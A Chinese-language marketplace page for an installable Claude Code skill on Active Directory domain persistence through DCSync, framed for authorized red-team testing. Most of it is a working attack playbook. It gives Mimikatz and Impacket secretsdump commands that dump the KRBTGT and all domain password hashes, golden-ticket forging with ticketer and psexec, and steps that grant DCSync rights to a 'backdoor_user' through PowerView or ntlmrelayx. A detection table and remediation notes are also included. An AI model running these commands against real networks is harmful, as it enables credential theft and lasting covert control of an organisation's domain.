关于 conducting-domain-persistence-with-dcsync
用于评估 Active Directory 中 DCSync 持久化风险的安全测试技能,面向获授权的测试人员。内容涵盖复制权限检查、凭据提取、Golden Ticket 验证及检测证据整理。
主要功能
- 01枚举目录复制权限
- 02提取域密码哈希
- 03创建并验证 Golden Ticket
- 04测试 DCSync 权限持久化
- 05检查检测指标
适用场景
- 01在实验环境审计复制权限
- 02在授权测试中评估凭据暴露
- 03验证 Golden Ticket 检测控制
- 04记录持久化风险与修复建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill conducting-domain-persistence-with-dcsync安装后在 Claude Code 中输入/conducting-domain-persistence-with-dcsync确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
利用 DCSync 进行域持久化
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可进行测试的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。
概述
DCSync 是一种攻击技术,通过滥用 Microsoft 目录复制服务远程协议(MS-DRSR)来冒充域控制器,并向目标 DC 请求密码数据。该攻击由 Benjamin Delpy(Mimikatz 作者)和 Vincent Le Toux 提出,利用了 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。任何拥有这些权限的主体(用户或计算机)都可以复制域中任何账户的密码哈希,包括 KRBTGT 账户。借助 KRBTGT 哈希,攻击者可以伪造黄金票据,实现无限期的域持久化。DCSync 被归类为 MITRE ATT&CK T1003.006,是 APT28(Fancy Bear)、APT29(Cozy Bear)和 FIN6 等 APT 组织使用的一项关键后渗透技术。
使用场景
- 当开展涉及利用 dcsync 进行域持久化的安全评估时
- 当遵循相关安全事件的事件响应流程时
- 当执行计划内的安全测试或审计活动时
- 当通过动手测试验证安全控制措施时
前提条件
- 熟悉红队概念和工具
- 可访问用于安全执行的测试或实验环境
- 已安装所需依赖的 Python 3.8+
- 对任何测试活动拥有适当授权
目标
- 识别 Active Directory 中拥有 DCSync(复制)权限的账户
- 使用 Mimikatz 或 Impacket 的 secretsdump.py 执行 DCSync
- 提取 KRBTGT 账户哈希以创建黄金票据
- 转储所有域用户密码哈希以进行凭据分析
- 伪造黄金票据以实现持久的域访问
- 向受控账户授予 DCSync 权限以实现替代持久化
- 记录攻击链和持久化机制
MITRE ATT&CK 映射
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1222.001 - File and Directory Permissions Modification: Windows
- T1098 - Account Manipulation
- T1078.002 - Valid Accounts: Domain Accounts
工作流
阶段 1:识别拥有 DCSync 权限的账户
- 枚举拥有复制权限的主体:
# Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($_.ObjectAceType -match 'Replicating') -and ($_.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType # Using BloodHound Cypher query MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name, d.name - 使用 Impacket 的 FindDelegation 或自定义 LDAP 查询:
# Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - 默认拥有 DCSync 权限的账户:
- Domain Admins
- Enterprise Admins
- Domain Controllers 组
- 域控制器上的 SYSTEM
阶段 2:DCSync 凭据提取
- 使用 Mimikatz(Windows):
# Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" # Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator" # Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" - 使用 Impacket secretsdump.py(Linux):
# Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1 # Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1 # Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1 # Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/[email protected]
阶段 3:创建黄金票据
- 使用 Mimikatz 及提取的 KRBTGT 哈希:
# Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ptt" # Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> \ /groups:512,513,518,519,520 /ptt" - 使用 Impacket ticketer.py(Linux):
# Create Golden Ticket ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator # Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/[email protected]
阶段 4:通过 DCSync 权限实现持久化
- 向受控账户授予 DCSync 权限以实现持久化:
# Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync # Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" } - 使用 ntlmrelayx.py 自动提升 DCSync 权限:
# Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
工具和资源
| 工具 | 用途 | 平台 |
|---|---|---|
| Mimikatz | DCSync 提取、黄金票据创建 | Windows |
| secretsdump.py | 远程 DCSync(Impacket) | Linux(Python) |
| ticketer.py | 黄金票据创建(Impacket) | Linux(Python) |
| PowerView | ACL 枚举与修改 | Windows(PowerShell) |
| Rubeus | Kerberos 票据操作 | Windows(.NET) |
| ntlmrelayx.py | 通过中继提升 DCSync 权限 | Linux(Python) |
需要提取的关键哈希
| 账户 | 用途 | 持久化价值 |
|---|---|---|
| krbtgt | 黄金票据创建 | 无限期域访问权限 |
| Administrator | 直接 DA 访问 | 即时特权访问 |
| 服务账户 | 横向移动 | 跨域服务访问 |
| 计算机账户 | 白银票据创建 | 服务级模拟 |
检测特征
| 指标 | 检测方法 |
|---|---|
| 来自非 DC 源的 DrsGetNCChanges RPC 调用 | 对来自异常 IP 的 DRSUAPI 流量进行网络监控 |
| 带有 Replicating Directory Changes GUID 的 4662 事件 | DC 上的 Windows 安全日志(1131f6aa-/1131f6ad- GUID) |
| 带有黄金票据异常的 4624 事件 | 具有不可能 SID 或不存在的用户的登录事件 |
| 域根对象上的 ACL 修改 | 5136 事件(目录服务更改) |
| 复制流量激增 | 网络基线偏差监控 |
验证标准
- 已枚举具有 DCSync 权限的账户
- 已通过 DCSync 提取 KRBTGT 哈希
- 已成功转储所有域凭据
- 已伪造黄金票据并验证其可用于 DA 访问
- 已建立 DCSync 权限持久化机制(如果在范围内)
- 已使用黄金票据验证对域控制器的访问
- 已使用哈希值和时间戳记录证据
- 已提供修复建议(双重 KRBTGT 重置、ACL 审计)
评论
支持 Markdown